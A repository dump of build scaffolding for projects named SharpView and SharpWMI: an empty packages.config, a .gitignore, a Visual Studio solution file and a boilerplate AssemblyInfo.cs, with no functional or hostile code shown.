-------------------------------------------------------------------------------- /SharpView/SharpView/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpWMI/.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | *.user 3 | [Dd]ebug/ 4 | [Rr]elease/ 5 | [Bb]in/ 6 | [Oo]bj/ 7 | -------------------------------------------------------------------------------- /SharpWMI/SharpWMI.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWMI", "SharpWMI\SharpWMI.csproj", "{6DD22880-DAC5-4B4D-9C91-8C35CC7B8180}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {6DD22880-DAC5-4B4D-9C91-8C35CC7B8180}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {6DD22880-DAC5-4B4D-9C91-8C35CC7B8180}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {6DD22880-DAC5-4B4D-9C91-8C35CC7B8180}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {6DD22880-DAC5-4B4D-9C91-8C35CC7B8180}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /SharpWMI/SharpWMI/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpWMI")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpWMI")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("6dd22880-dac5-4b4d-9c91-8c35cc7b8180")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | --------------------------------------------------------------------------------